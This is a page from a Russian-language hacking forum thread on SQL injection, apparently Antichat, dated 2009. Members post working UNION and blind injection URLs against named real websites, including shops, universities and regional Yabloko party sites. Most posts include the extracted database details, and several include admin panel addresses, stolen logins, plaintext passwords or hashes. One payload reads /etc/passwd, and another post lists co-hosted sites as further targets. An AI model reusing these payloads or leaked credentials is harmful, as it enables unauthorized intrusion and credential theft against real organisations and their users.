SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 428 of 798
  1. serfertty

    serfertty Guest

    Reputations:
    0
    ПР5 ТИЦ 240
    Code:
    http://www.butik.ru/goods/view/gd480001'+union+select+1,2,3,4,concat(email,0x3a,pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+user+limit+5,1/*.html
     
    #8541 serfertty, 28 Mar 2009
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Все инъекции проверены на Антибоян, после чего добавлены в его базу!

    Code:
    http://gamingusa.org/vsp-core/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    gusa_gusa@localhost:gusa_vsp:5.0.67-community-log

    Code:
    http://stat-cod2.lline.net/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    wage@localhost:cod2-statistic:5.0.32-Debian_7etch8-log

    Code:
    http://quake3.scatplus.ru/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    root@localhost:vsp:5.1.30

    Code:
    http://quake3.scatplus.ru/themes/bismarck/gamestat.php?gameID=-1+union+select+LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)),2&config=cfg-default.php
    /etc/passwd
    file_priv=Y

    Code:
    http://www.sp33d.ws/ffa-instagib/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    q3stats@localhost:q3stats:5.0.32-Debian_7etch8-log

    Code:
    http://nest.deb.hu/stat_sie/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    stat@localhost:stat_sie:5.0.32-Debian_7etch1

    Code:
    http://www.clan-victory.co.uk/vsp/pub/themes/bismarck/gamestat.php?gameID=-1+union+select+concat_ws(0x3a,user(),database(),version()),2&config=cfg-default.php
    tilionor_clanvic@localhost:tilionor_clanvictory:5.0.67-community-log
     
    #8542 mailbrush, 28 Mar 2009
  3. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    Code:
    http://www.dcd.ru/more.php?id=-10+union+select+1,concat_ws(0x3a,version(),database(),user())--
    db : 5.0.51
    name_db : db_dcd
    user : dcd@localhost
    http : //www.dcd.ru/admin

    Code:
    http://www.sokol-mebel.ru/details/index.php?id=-8+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12,13--
    db : 5.0.67-log
    name_db : u97809
    user: [email protected]
    http://www.sokol-mebel.ru/admin
     
    #8543 farex, 28 Mar 2009
    Last edited by a moderator: 28 Mar 2009
  4. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.univie.ac.at/unique/?tid=-1+union+select+1,2,3,4,5,concat_ws(0x3a3a,name,pwd),7,8,9,10,11,12,13,14,15,16,17+from+users+limit+0,1/*

    PR8

    https://www.univie.ac.at/ZID/cms/ <- админка
     
    #8544 Cennarios, 28 Mar 2009
  5. Kraneg

    Kraneg Elder - Старейшина

    Joined:
    30 Aug 2008
    Messages:
    107
    Likes Received:
    97
    Reputations:
    21
    laguia.us
    Вобщем все банально, скуль:
    Code:
    http://www.laguia.us/articulo.php?id=-1242+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,user(),database(),version()),9,10,11/*&edicion=93
    revistalaguia@localhost:revistalaguia:5.0.45
    т.к. мускул 5 смотрим с помощью INFORMATION_SCHEMA названия таблиц и полей
    admuser-login,password
    Code:
    http://www.laguia.us/articulo.php?id=-1242+UNION+SELECT+1,2,3,4,5,6,7,concat_ws(0x3a,login,password),9,10,11+FROM+admusers/*&edicion=93
    admin:2cad00b70163edcf:calvin79
    админка
    Code:
    http://www.laguia.us/admin/
    Залить шелл не удалось =\
     
    #8545 Kraneg, 28 Mar 2009
  6. Cennarios

    Cennarios Elder - Старейшина

    Joined:
    13 Jul 2008
    Messages:
    378
    Likes Received:
    179
    Reputations:
    108
    http://www.filzmooserhof.at/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat_ws(0x3a3a,benutzername_usr,passwort_usr),28,29,30,31,32+from+user_usr+limit+0,1--

    http://www.filzmooserhof.at/cms/
    реги рабочие

    P.S. 2 _I7ad1a_ Если постишь sql инъекцию - пиши полностью а не тупую кавычку инче минусы будешь получать
     
    #8546 Cennarios, 28 Mar 2009
  7. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Строительная база>>
    Code:
    http://www.stroi-baza.ru/articles/one.php?id=-551+union+select+1,table_name,3,4,5,6,7,8,9+from+information_schema.tables+limit+200,1--
    db : 5.0.45
    name_db : stroibaza
    user : [email protected]
    log: Troitsa
    pass: 54321

    <<Сеть мебельных салонов уголок>>
    Code:
    http://www.ugol-ok.ru/model-mebel.php?id=10869&grm=-701+union+select+1,concat_ws(0x3a,version(),database(),user()),3--
    db : 4.0.27-log
    name_db : skynet
    user : [email protected]
     
    #8547 farex, 28 Mar 2009
    Last edited: 28 Mar 2009
  8. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    dcmp.bc.edu
    pr:6

    Code:
    http://dcmp.bc.edu/news.php?id=8+AND+ascii(lower(substring(concat(user(),0x3a,version(),database()),2,1)))%3E1
    Database Version: 3.23.53
    Database name: dcmp
    User name: root@localhost


    water.grace.edu


    Code:
    http://water.grace.edu/news.php?id=-8+union+Select+1,2,3,4,concat(user,0x3a,password),6+from+mysql.user
    Database Version: 4.1.22-community-nt
    Database name: water
    User name: lehman_group@localhost


    marketing.pdx.edu

    Code:
    http://marketing.pdx.edu/news.php?id=63+AND+ascii(lower(substring(concat(user(),0x3a,version(),0x3a,database()),1,1)))%3E1
    Database Version: 5.0.4
    Database name: wwwpdxdb
    User name: angell.bestla.oit.pdx.edu
     
    #8548 ph1l1ster, 28 Mar 2009
    1 person likes this.
  9. serfertty

    serfertty Guest

    Reputations:
    0
    Вся база как на ладони
    Code:
    http://shop.e12.cz/index.php?page=katalog&model=287&level=3&parent=-135+union+select+1,2,3,4,5,6,concat_ws(0x2e,table_schema,table_name,column_name),8,9,10,11,12+from+information_schema.columns/*
     
    #8549 serfertty, 28 Mar 2009
    1 person likes this.
  10. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Диваны тут>>
    Code:
    http://www.divan-tam.ru/transform.php?id=-4+union+select+1,2,3,concat_ws(0xa,user_email,user_pass,user_nick,user_name)+from+admin_users--
    db : 5.1.24-rc-log
    name_db : db28065m
    user : [email protected]

    table: admin_user
    log: Crusader
    pass: 123321
    email: [email protected]
     
    #8550 farex, 28 Mar 2009
  11. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.uitpers.be/artikel_view.php?id=1904+union+select+1,2,3,4,concat(version(),0x3a,database(),0x3a,user()),6,7,8+limit+1,1/*
    version():4.1.25
    database():uitpers_main
    user():uitpers_main@localhost

    Code:
    http://gpstracks.nl/fietsroutes-be-limburg.php?id=1986+union+select+1,2,3,concat(version(),0x3a,database(),0x3a,user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+limit+1,1
    version():5.0.51a-24-log
    database():gpstracks
    user():gpstracks@localhost
     
    #8551 M.W.N.N., 28 Mar 2009
    Last edited: 28 Mar 2009
  12. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Вся мебель России>>
    Code:
    http://www.allfurniture.ru/news.php?id=-162'+union+select+1,concat_ws(0x3a,version(),database(),user())--+
    db : 5.0.77
    name_db : allfurniture2
    user : allfurniture2@localhost
    http://www.allfurniture.ru/phpmyadmin/

    table: users
    log: admin
    pass: dczvt
    +limit+x,x--+
     
    #8552 farex, 28 Mar 2009
    1 person likes this.
  13. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    PR - 6


    Database Version: 5.0.45-community-log
    Database name: cultiva_directory
    User name: [email protected]


    PR - 6



    Version:4.1.20-log
    User:active_r@localhost
    Database:active_db1


    PR - 6




    Version: 5.0.24-log
    User: thenets_root@localhost
    Database: thenets_snagdb



    PR - 6




    Version : 5.0.51
    User: [email protected]
    Database: beamsys_cusai



    PR - 6


    Version: 5.0.51a-community
    User: bodywhys_7656@localhost
    Database: bodywhys_news



    PR - 6



    Version:5.0.32-Debian_7etch6-log
    User: www-user@localhost
    Databa: sedepartment



    PR - 5



    Version: 5.0.21-community-nt
    User: bduggan@localhost
    Database: soc
     
    #8553 spherics, 28 Mar 2009
    Last edited: 28 Mar 2009
  14. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    Code:
    http://www.ifom-firc.it/research_news/abstract.php?id=99999+union+select+1,2,3,4,5,6,7,version(),9/*
    database: 4.1.19
    name_database: news
    user: researchnews@localhost
     
    #8554 farex, 28 Mar 2009
  15. f0ox

    f0ox New Member

    Joined:
    23 Feb 2008
    Messages:
    9
    Likes Received:
    2
    Reputations:
    1
    Помогите добить, пожалуйста :)
     
    #8555 f0ox, 28 Mar 2009
  16. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    2 f0ox по мне так это слепая скуля

    http://www.cra.org/govaffairs/content.php?cid=22+AND+SUBSTRING((y() ),1,1)=x/*

    y=version,database,user
    x=33..127

    Version : 4.0.27-standard
    database : govsitecontent
    User : root@localhost
     
    #8556 Gorev, 28 Mar 2009
    1 person likes this.
  17. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.media-academie.be/index.php?id=172%27+union+select+1,2,3,4,5,6,7,8,9,concat(version(),0x3a,database(),0x3a,user()),11,12/*
    version():4.0.27-log
    database():v160_mediaaca
    user():v160_mediaaca@localhost
     
    #8557 M.W.N.N., 29 Mar 2009
  18. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.bamp-bg.org/read.php?id=-184+union+select+1,2,unhex(hex(concat_ws(0x3a,version(),database(),useR()))),4,5,6,7,8

    Database Version: 4.1.14-log
    Database name: bamp
    User name: _pmab@localhost


    http://www.bamp-bg.org/read.php?id=-184+union+select+1,2,unhex(hex(concat_ws(0x3a,id,name,pass))),4,5,6,7,8+from+users


    8:Elisande:bm/Th81Ou1WzYAI/WiSe4jamMk
    6:test:bm8oUJ0UHJ/qgAIw90kQmVKa6w
     
    #8558 Gorev, 29 Mar 2009
    1 person likes this.
  19. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Яблоко: Самара>>
    Code:
    http://www.samara.yabloko.ru/themes/index.phtml?id=-45+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9--
    db: 5.0.32-Debian_7etch8-log
    name_db: samara
    user: samara@localhost

    <<Яблоко: Новосибирск>>
    Code:
    http://www.nsk.yabloko.ru/press/publications/index.phtml?id=-294+union+select+1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,version(),database(),user()),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
    db: 5.0.32-Debian_7etch8-log
    mame_db: nsk
    user: nsk@localhost
     
    #8559 farex, 29 Mar 2009
    Last edited: 29 Mar 2009
  20. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Яблоко: Омск>>
    Code:
    http://omsk.yabloko.ru/persons/index.phtml?id=-47+union+select+1,2,3,4,5,6,7,8,table_name,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+information_schema.tables+limit+31,1--
    db: 5.0.32-Debian_7etch8-log
    mame_db: omsk
    user: omsk@localhost
    PS. Опять промах......

    <<Яблоко: Чита>>
    Code:
    http://www.chita.yabloko.ru/persons/index.phtml?id=-2+union+select+1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--
    db: 5.0.32-Debian_7etch8-log
    mame_db: chita
    user: chita@localhost


    Кто хочет добить держите....
    Code:
    Сайты на сервере(ReverseIP):
eng.kaliningrad.yabloko.ru [212.48.142.179]
forums.yabloko.ru [212.48.142.179]
forums.yabloko.ru [212.48.142.179]
irk.yabloko.ru [212.48.142.179]
irk.yabloko.ru [212.48.142.179]
nail.yabloko.ru [212.48.142.179]
nnov.yabloko.ru [212.48.142.179]
omsk.yabloko.ru [212.48.142.179]
photos.yabloko.ru [212.48.142.179]
pskov.yabloko.ru [212.48.142.179]
pskov.yabloko.ru [212.48.142.179]
www.bezviz.yabloko.ru [212.48.142.179]
www.bunimovich.ru [212.48.142.179]
www.bunimovich.ru [212.48.142.179]
www.business.yabloko.ru [212.48.142.179]
www.chel.yabloko.ru [212.48.142.179]
www.chel.yabloko.ru [212.48.142.179]
www.chita.yabloko.ru [212.48.142.179]
www.chita.yabloko.ru [212.48.142.179]
www.eng.yabloko.ru [212.48.142.179]
www.eng.yabloko.ru
www.kaliningrad.yabloko.ru
www.kaliningrad.yabloko.ru
www.khv.yabloko.ru
www.khv.yabloko.ru
www.kras.yabloko.ru
www.krasnoyarsk.yabloko.ru
www.krasnoyarsk.yabloko.ru
www.mitrohin.ru
www.mitrohin.ru
www.mmya.yabloko.ru
www.mordovia.yabloko.ru
www.mordovia.yabloko.ru
www.moscow.yabloko.ru
www.moscow.yabloko.ru
www.mosobl.yabloko.ru
www.mosobl.yabloko.ru
www.netlly.com
www.netlly.com
www.nsk.yabloko.ru
www.nsk.yabloko.ru
www.orenburg.yabloko.ru
www.orenburg.yabloko.ru
www.penza.yabloko.ru
www.penza.yabloko.ru
www.politedu.yabloko.ru
www.primorye.yabloko.ru
www.primorye.yabloko.ru
www.projects.yabloko.ru
www.projects.yabloko.ru
www.rostov.yabloko.ru
www.rostov.yabloko.ru
www.samara.yabloko.ru
www.samara.yabloko.ru
www.shishlov.ru
www.shishlov.ru
www.simbirsk.yabloko.ru
www.spb.yabloko.ru
www.spb.yabloko.ru
www.stavropol.yabloko.ru
www.stavropol.yabloko.ru
www.student.yabloko.ru
www.sverdlovsk.yabloko.ru
www.sverdlovsk.yabloko.ru
www.taimyr.yabloko.ru
www.tambov.yabloko.ru
www.tambov.yabloko.ru
www.tomsk.yabloko.ru
www.tver.yabloko.ru
www.tyumen.yabloko.ru
www.tyumen.yabloko.ru
www.tyumen.yabloko.ru
www.ugra.yabloko.ru
www.ugra.yabloko.ru
www.volgograd.yabloko.ru
www.volgograd.yabloko.ru
www.yabloko.ru
www.yabloko.ru
www.yaroslavl.yabloko.ru
www.yaroslavl.yabloko.ru
www.yavlinsky.ru
www.yavlinsky.ru
www.youth.yabloko.ru
www.youth.yabloko.ru
zhensovet.yabloko.ru
zhensovet.yabloko.ru
     
    #8560 farex, 29 Mar 2009
    Last edited: 29 Mar 2009
(You must log in or sign up to post here.)
Page 428 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.